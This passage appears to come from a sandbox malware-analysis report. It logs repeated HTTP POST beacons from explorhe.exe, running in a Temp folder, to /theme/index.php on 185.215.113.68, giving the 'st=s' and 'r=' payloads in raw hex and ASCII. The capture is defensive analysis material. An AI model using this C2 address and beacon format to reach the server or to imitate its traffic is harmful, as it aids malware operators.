r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:34.488739014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50367	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:34.850718975 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:35.083718061 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50368	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:35.347677946 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:35.589246988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50369	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:35.950752020 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:36.184608936 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50370	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:36.431967974 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:36.667552948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50371	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:37.048521042 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:37.281596899 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50372	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:37.525398970 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:37.763537884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50373	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:38.121377945 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:38.353177071 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50374	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:38.592082977 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:38.829719067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	50375	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:39.189599037 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:39.421189070 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	50376	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:39.665724993 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:39.905200958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50377	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:40.265316010 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:40.504771948 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50378	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:40.749963045 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:40.985913038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50379	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:41.378767014 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:41.611524105 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	50380	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:41.854321957 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:42.090493917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50381	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:42.440553904 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:42.672806025 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50382	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:42.927911997 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:43.164789915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50383	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:43.522593021 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:43.755081892 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50384	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:44.003174067 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:44.245505095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50385	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:44.646930933 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:44.880302906 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.6	50386	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:45.123795986 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:45.356941938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.6	50387	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:45.721628904 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:45.954262018 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.6	50388	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:46.220453024 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:46.463193893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.6	50389	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:46.828367949 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:47.060163975 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.6	50390	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
